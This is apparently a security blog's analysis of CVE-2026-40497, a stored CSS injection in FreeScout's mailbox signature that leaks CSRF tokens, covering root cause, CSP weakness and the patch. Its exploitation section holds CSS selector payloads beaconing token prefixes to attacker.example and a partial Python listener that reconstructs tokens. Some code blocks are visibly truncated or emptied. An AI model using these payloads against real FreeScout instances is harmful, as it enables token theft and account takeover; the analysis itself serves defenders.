home intel freescout-css-injection-csrf-token-exfiltration
CVE Analysis 2026-04-21 · 8 min read

CVE-2026-40497: FreeScout CSS Injection Leaks CSRF Tokens

FreeScout's stripDangerousTags() omits <style> sanitization, allowing CSS attribute-selector exfiltration of CSRF tokens from any agent viewing an attacker-controlled mailbox.

#stored-xss#improper-sanitization#unsafe-inline-css#privilege-escalation#csp-bypass
Technical mode — for security professionals
▶ Privilege escalation — CVE-2026-40497
USER SPACELow privilegeVULNERABILITYCVE-2026-40497 · Cross-platformKERNEL / ROOTFull system accessNo confirmed exploits · HIGH

Vulnerability Overview

CVE-2026-40497 is a stored CSS injection vulnerability in FreeScout (all versions prior to 1.8.213) that allows any principal with mailbox settings access — admin or agent with mailbox permission — to exfiltrate the CSRF token of any user who views a conversation in that mailbox. CVSS 8.1 HIGH. No JavaScript required. No user interaction beyond normal inbox activity.

The attack surface is the mailbox signature field, persisted via POST /mailbox/settings/{id} and rendered unescaped into every conversation view. The missing sanitization of <style> tags, combined with a permissive style-src * 'self' 'unsafe-inline' CSP, makes inline CSS execute without restriction. CSS attribute selectors targeting the hidden CSRF <input> then beacon the token value character-by-character to an attacker-controlled server.

Root cause: Helper::stripDangerousTags() explicitly removes <script>, <form>, <iframe>, and <object> but never strips <style>, and the signature is rendered via {!! ... !!} (raw, unescaped Blade output) into pages whose CSP permits unsafe-inline styles.

Affected Component

Three components interact to produce exploitability:

  • App\Misc\Helper::stripDangerousTags() — input sanitization for rich-text fields
  • App\Mailbox::getSignatureProcessed() — retrieves and post-processes the stored signature
  • Blade view rendering via {!! $conversation->getSignatureProcessed([], true) !!} in resources/views/conversations/view.blade.php

Root Cause Analysis

The sanitizer maintains an explicit blocklist of dangerous tags. The omission of style from that list is the singular root cause.


// App/Misc/Helper.php (pre-patch)
public static function stripDangerousTags(string $html): string
{
    // BUG:  survives intact
}

The processed signature then flows directly into the Blade template with raw output syntax:


{{-- resources/views/conversations/view.blade.php --}}

{{-- Safe (escaped): {{ $var }} --}}
{{-- UNSAFE (raw):  {!! $var !!} --}}

{!! $conversation->getSignatureProcessed([], true) !!} {{-- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Attacker-controlled HTML/CSS injected here, unescaped, into every conversation view --}}

The server's Content-Security-Policy provides no protection:


Content-Security-Policy:
  default-src 'self';
  script-src  'self';
  style-src   * 'self' 'unsafe-inline';   // <-- wildcard + unsafe-inline
  img-src     * data:;                    // <-- exfil via img beacon permitted
  font-src    *;
  connect-src 'self';

style-src * 'unsafe-inline' means injected inline <style> blocks execute unconditionally, and CSS url() values may reference arbitrary external origins.

Exploitation Mechanics

CSS attribute selector exfiltration against CSRF tokens is a well-documented technique (cf. Wykradanie danych w pure CSS, Terjanq 2019). It exploits the browser's willingness to fetch background-image: url() values when a selector matches. Because CSRF tokens are static per-session, a full token can be harvested across multiple page loads — one character per request.


EXPLOIT CHAIN:

1. Attacker (agent/admin) navigates to:
   POST /mailbox/settings/{mailbox_id}
   Body: signature=

2. Payload injected into DB as mailbox signature (raw HTML stored).

3. Victim (admin/agent) opens any conversation in that mailbox.
   Browser loads: GET /conversation/{id}
   Server renders:
     {!! $conversation->getSignatureProcessed([], true) !!}
   → raw 

On Chromium 124+ with :has() support, a single-shot selector tree can exfiltrate the entire token in one page load:


/* One-shot using :has() — single page load, full token */
html:has(input[name="_token"][value^="aA"]) {
    background-image: url("https://attacker.example/t?v=aA");
}
html:has(input[name="_token"][value^="aB"]) {
    background-image: url("https://attacker.example/t?v=aB");
}
/* ... 62^2 rules cover all 2-char prefixes, then recurse ... */

Automation via a small listener:


# attacker_server.py — reconstruct token from CSS beacon requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import re

known_prefix = ""
CHARSET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-"
TOKEN_LEN = 40

class BeaconHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        global known_prefix
        qs = parse_qs(urlparse(self.path).query)
        if "p" in qs:
            candidate = qs["p"][0]
            # Accept longest prefix seen so far
            if candidate.startswith(known_prefix) and len(candidate) > len(known_prefix):
                known_prefix = candidate
                print(f"[+] Token prefix: {known_prefix!r} ({len(known_prefix)}/{TOKEN_LEN})")
                if len(known_prefix) == TOKEN_LEN:
                    print(f"[!] FULL TOKEN: {known_prefix}")
                else:
                    regenerate_payload(known_prefix)  # push next ruleset to mailbox
        self.send_response(200)
        self.end_headers()

def regenerate_payload(prefix: str) -> str:
    rules = []
    for ch in CHARSET:
        candidate = prefix + ch
        rules.append(
            f'input[name="_token"][value^="{candidate}"]'
            f'{{background-image:url("https://attacker.example/leak?p={candidate}")}}'
        )
    # POST new signature to FreeScout with updated 
      
    
CSS SELECTOR MATCH: Rule: input[name="_token"][value^="xG"] ✓ MATCHES Effect: browser fetches https://attacker.example/leak?p=xG Token: "xG3kR...Lp9q" — prefix "xG" confirmed, recurse.

Patch Analysis

The fix in version 1.8.213 adds style to the blocklist inside stripDangerousTags() and switches the signature render site to escaped output for the non-admin path:


// BEFORE (vulnerable, pre-1.8.213):
public static function stripDangerousTags(string $html): string
{
    $dangerous_tags = [
        'script', 'form', 'iframe', 'object', 'embed', 'base',
        // BUG: 'style' absent — CSS injection unrestricted
    ];
    $pattern = implode('|', $dangerous_tags);
    $html = preg_replace(
        '/<\/?(' . $pattern . ')(\s[^>]*)?\s*\/?>/i',
        '',
        $html
    );
    return $html;
}

// AFTER (patched, 1.8.213):
public static function stripDangerousTags(string $html): string
{
    $dangerous_tags = [
        'script', 'form', 'iframe', 'object', 'embed', 'base',
        'style',   // FIX: